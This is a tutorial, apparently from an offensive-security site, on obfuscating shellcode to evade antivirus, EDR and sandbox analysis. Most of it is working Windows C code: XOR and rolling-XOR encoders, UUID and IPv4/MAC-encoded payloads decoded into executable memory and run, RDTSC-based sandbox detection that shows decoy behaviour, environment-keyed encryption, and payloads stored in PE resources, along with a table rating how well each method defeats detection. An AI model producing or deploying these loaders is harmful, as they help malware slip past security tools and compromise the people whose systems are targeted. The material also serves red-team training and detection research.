Shellcode Obfuscation — Hiding Payloads from Static Detection

Why Shellcode Needs Obfuscation

Antivirus products and EDRs perform static analysis of files and memory buffers looking for signatures — known byte sequences that identify malicious code. A Meterpreter or Cobalt Strike Beacon shellcode has highly recognizable byte patterns that any modern AV detects immediately.

Shellcode obfuscation has two goals: evading static detection (signatures in files or memory) and making reverse engineering analysis harder.

┌──────────────────────────────────────────────────────────────────────┐
│              Static Detection vs. Obfuscated Shellcode               │
│                                                                      │
│  Raw shellcode:                                                      │
│  FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51 56 48 31 D2...    │
│  ↳ Windows Defender detects in < 1 second                           │
│                                                                      │
│  XOR shellcode with key 0x41:                                       │
│  BD 09 C2 A5 B1 A9 81 41 41 41 00 10 00 11 13 10 17 09 70 93...    │
│  ↳ Static signature doesn't match                                   │
│                                                                      │
│  At runtime, decodes and executes — AMSI and EDR can still          │
│  detect via memory scan and behavioral analysis.                     │
└──────────────────────────────────────────────────────────────────────┘

---

Technique 1: Simple XOR Cipher

The most basic and widely known method. Each byte of the shellcode is XOR'd with a key.

#include <windows.h>
#include <stdio.h>

// Example shellcode (demonstration only — not functional here)
unsigned char rawShellcode[] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00,
    0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51
};

// Encode shellcode with XOR
void XorEncode(unsigned char* buf, size_t len, unsigned char key) {
    for (size_t i = 0; i < len; i++) {
        buf[i] ^= key;
    }
}

// Decode and execute at runtime
void XorDecodeAndExecute(unsigned char* encoded, size_t len, unsigned char key) {
    PVOID exec = VirtualAlloc(NULL, len,
                               MEM_COMMIT | MEM_RESERVE,
                               PAGE_EXECUTE_READWRITE);
    if (!exec) return;

    unsigned char* dst = (unsigned char*)exec;
    for (size_t i = 0; i < len; i++) {
        dst[i] = encoded[i] ^ key;
    }

    ((void(*)(void))exec)();
}

// Offline encoding tool
void EncodeShellcodeXOR(void) {
    unsigned char key = 0x41;
    size_t len = sizeof(rawShellcode);

    printf("unsigned char encodedShellcode[] = {");
    for (size_t i = 0; i < len; i++) {
        if (i % 16 == 0) printf("\n    ");
        printf("0x%02X", rawShellcode[i] ^ key);
        if (i < len - 1) printf(", ");
    }
    printf("\n};\n");
}

Limitation: XOR with a static key is trivially detectable. Null bytes in shellcode (common in addresses) produce the key itself in plain text, enabling detection.

---

Technique 2: Rolling XOR Key

A variant that uses the previously decoded byte as part of the next byte's key, making analysis significantly harder:

// Encoding with rolling key
void RollingXorEncode(unsigned char* buf, size_t len, unsigned char seed) {
    unsigned char key = seed;
    for (size_t i = 0; i < len; i++) {
        unsigned char original = buf[i];
        buf[i] ^= key;
        key = original ^ 0x55;  // Next key based on original byte
    }
}

// Decoding with rolling key
void RollingXorDecode(unsigned char* encoded, unsigned char* decoded,
                       size_t len, unsigned char seed) {
    unsigned char key = seed;
    for (size_t i = 0; i < len; i++) {
        decoded[i] = encoded[i] ^ key;
        key = decoded[i] ^ 0x55;
    }
}

---

Technique 3: UUID Encoding

A more creative technique that represents shellcode as a list of UUIDs (Universally Unique Identifiers). UUIDs are strings that appear benign and that security tools don't typically scan the same way as arbitrary byte sequences.

#include <windows.h>
#include <rpc.h>
#pragma comment(lib, "rpcrt4.lib")

// Convert shellcode to UUID array
void ShellcodeToUUIDs(unsigned char* shellcode, size_t len) {
    printf("const char* uuids[] = {\n");
    for (size_t i = 0; i < len; i += 16) {
        // UUID has 16 bytes: 4-2-2-2-6
        printf("    \"%02x%02x%02x%02x-", shellcode[i],   shellcode[i+1],
                                           shellcode[i+2], shellcode[i+3]);
        printf("%02x%02x-",              shellcode[i+4], shellcode[i+5]);
        printf("%02x%02x-",              shellcode[i+6], shellcode[i+7]);
        printf("%02x%02x-",              shellcode[i+8], shellcode[i+9]);
        printf("%02x%02x%02x%02x%02x%02x\",\n",
               shellcode[i+10], shellcode[i+11], shellcode[i+12],
               shellcode[i+13], shellcode[i+14], shellcode[i+15]);
    }
    printf("};\n");
}

// Decode UUIDs back to shellcode in an executable buffer
PVOID UUIDsToShellcode(const char** uuids, size_t count) {
    PVOID exec = VirtualAlloc(NULL, count * 16,
                               MEM_COMMIT | MEM_RESERVE,
                               PAGE_EXECUTE_READWRITE);
    if (!exec) return NULL;

    unsigned char* dst = (unsigned char*)exec;
    for (size_t i = 0; i < count; i++) {
        UUID uuid;
        RPC_STATUS st = UuidFromStringA((RPC_CSTR)uuids[i], &uuid);
        if (st != RPC_S_OK) return NULL;
        memcpy(dst + (i * 16), &uuid, 16);
    }

    return exec;
}

// Usage example
const char* encodedPayload[] = {
    "fc4883e4-f0e8-c000-0000-415141505251",
    "5648310d-2065-4889-e248-83ec20415141",
    // ... rest of shellcode
};

int main(void) {
    size_t count = sizeof(encodedPayload) / sizeof(encodedPayload[0]);
    PVOID shellcode = UUIDsToShellcode(encodedPayload, count);
    if (shellcode) {
        ((void(*)(void))shellcode)();
    }
    return 0;
}

---

Technique 4: MAC/IPv4 Address Encoding

Similar to UUID, but using network address representations — even more "innocent" looking:

// Convert shellcode to MAC address list (6 bytes each)
void ShellcodeToMACs(unsigned char* sc, size_t len) {
    printf("const char* macs[] = {\n");
    for (size_t i = 0; i < len; i += 6) {
        printf("    \"%02X-%02X-%02X-%02X-%02X-%02X\",\n",
               sc[i], sc[i+1], sc[i+2], sc[i+3], sc[i+4], sc[i+5]);
    }
    printf("};\n");
}

// Convert shellcode to IPv4 addresses (4 bytes each)
void ShellcodeToIPv4(unsigned char* sc, size_t len) {
    printf("const char* ips[] = {\n");
    for (size_t i = 0; i < len; i += 4) {
        printf("    \"%d.%d.%d.%d\",\n",
               sc[i], sc[i+1], sc[i+2], sc[i+3]);
    }
    printf("};\n");
}

// Decode from IP strings back to shellcode
PVOID IPv4ToShellcode(const char** ips, size_t count) {
    PVOID exec = VirtualAlloc(NULL, count * 4,
                               MEM_COMMIT | MEM_RESERVE,
                               PAGE_EXECUTE_READWRITE);
    unsigned char* dst = (unsigned char*)exec;

    for (size_t i = 0; i < count; i++) {
        unsigned int a, b, c, d;
        sscanf_s(ips[i], "%u.%u.%u.%u", &a, &b, &c, &d);
        dst[i*4]   = (unsigned char)a;
        dst[i*4+1] = (unsigned char)b;
        dst[i*4+2] = (unsigned char)c;
        dst[i*4+3] = (unsigned char)d;
    }

    return exec;
}

---

Technique 5: Sleep-Based Deobfuscation and Timing Evasion

Automated analysis sandboxes have limited execution time (typically 2-3 minutes). If the loader "sleeps" before decoding the shellcode, the sandbox may time out without executing the payload.

However, modern sandboxes simulate accelerated time. More sophisticated techniques measure real elapsed time via operations that cannot be simulated:

#include <windows.h>
#include <intrin.h>

// Measure time via RDTSC (CPU Time Stamp Counter)
BOOL IsRunningInSandbox(void) {
    DWORD sleep_ms = 2000;  // 2 seconds

    ULONGLONG t1 = __rdtsc();
    Sleep(sleep_ms);
    ULONGLONG t2 = __rdtsc();

    // On real CPU: ~2 billion cycles per second
    // On sandbox with time acceleration: far fewer cycles
    ULONGLONG expected_cycles = (ULONGLONG)(sleep_ms) * 1500000ULL;

    if ((t2 - t1) < expected_cycles) {
        return TRUE;  // Too few cycles for declared time → sandbox
    }
    return FALSE;
}

// Sleep with real time verification (anti-sandbox)
BOOL SleepAndVerify(DWORD ms) {
    DWORD start   = GetTickCount();
    Sleep(ms);
    DWORD elapsed = GetTickCount() - start;
    return (elapsed >= (ms - 100));
}

// Combine sandbox check with deobfuscation
void ConditionalDeobfuscate(unsigned char* encoded, size_t len, unsigned char key) {
    if (IsRunningInSandbox() || !SleepAndVerify(3000)) {
        // In sandbox: execute benign behavior
        MessageBoxA(NULL, "Hello World!", "App", MB_OK);
        return;
    }

    // In real environment: deobfuscate and execute payload
    XorDecodeAndExecute(encoded, len, key);
}

---

Technique 6: Environment-Derived Key

The payload can only be decoded in the specific target environment, using local information as the key:

#include <windows.h>
#include <stdio.h>

// Generate key based on hardware characteristics
void DeriveEnvironmentKey(unsigned char* key, size_t keyLen) {
    char compName[256] = {0};
    DWORD compNameLen = sizeof(compName);
    GetComputerNameA(compName, &compNameLen);

    DWORD volumeSerial = 0;
    GetVolumeInformationA("C:\\", NULL, 0, &volumeSerial, NULL, NULL, NULL, 0);
    char serial[64] = {0};
    snprintf(serial, sizeof(serial), "%08X", volumeSerial);

    for (size_t i = 0; i < keyLen; i++) {
        key[i] = compName[i % strlen(compName)] ^ serial[i % strlen(serial)];
    }
}

void EnvironmentKeyEncrypt(unsigned char* buf, size_t len) {
    unsigned char key[32];
    DeriveEnvironmentKey(key, sizeof(key));

    for (size_t i = 0; i < len; i++) {
        buf[i] ^= key[i % sizeof(key)];
    }
}

---

Technique 7: Shellcode in PE Resources

Store the shellcode as a PE resource (.rsrc) with apparently legitimate content (icon, bitmap, localization string) and decode it at runtime:

PVOID LoadShellcodeFromResource(HMODULE hModule, int resId) {
    HRSRC hRes = FindResourceA(hModule, MAKEINTRESOURCE(resId), "PAYLOAD");
    if (!hRes) return NULL;

    HGLOBAL hLoaded  = LoadResource(hModule, hRes);
    PVOID   pRes     = LockResource(hLoaded);
    DWORD   resSize  = SizeofResource(hModule, hRes);

    PVOID exec = VirtualAlloc(NULL, resSize, MEM_COMMIT | MEM_RESERVE,
                               PAGE_EXECUTE_READWRITE);
    if (!exec) return NULL;

    // Decode while copying (XOR or any cipher)
    unsigned char* src = (unsigned char*)pRes;
    unsigned char* dst = (unsigned char*)exec;
    for (DWORD i = 0; i < resSize; i++) {
        dst[i] = src[i] ^ 0x37;
    }

    return exec;
}

---

Technique Comparison

┌──────────────────────────────────────────────────────────────────────┐
│           Effectiveness per Technique vs. Detection Type             │
│                                                                      │
│  Technique              │ Static scan │ AMSI │ Sandbox │ Complexity │
│  ─────────────────────  │ ─────────── │ ──── │ ─────── │ ──────────│
│  Simple XOR             │ Medium      │ Med  │ Low     │ Low        │
│  Rolling XOR            │ High        │ Med  │ Low     │ Low        │
│  UUID encoding          │ High        │ High │ Low     │ Medium     │
│  IPv4/MAC encoding      │ High        │ High │ Low     │ Medium     │
│  Sleep + RDTSC          │ N/A         │ N/A  │ High    │ Medium     │
│  Environment key        │ Very high   │ High │ Very    │ High       │
│  PE resource            │ High        │ Med  │ Medium  │ Medium     │
└──────────────────────────────────────────────────────────────────────┘

---

References

• Sektor7, "Malware Development: Intermediate — Payload Obfuscation" — sektor7.net

• NCC Group, "Shellcode Obfuscation" — nccgroup.com (2021)

• theXcellerator, "Shellcode Encoding Techniques" — thexcellerator.github.io

• ired.team, "Shellcode Encryption and Obfuscation" — ired.team/offensive-security/defense-evasion/

• VX-API, "Shellcode Collection and Encoding" — github.com/vxunderground/VX-API

• MDSec, "Bypassing AV with Shellcode Encoding" — mdsec.co.uk (2021)

• Solomon Sklash, "Malware Techniques: UUID Shellcode Execution" — solomonsklash.io (2021)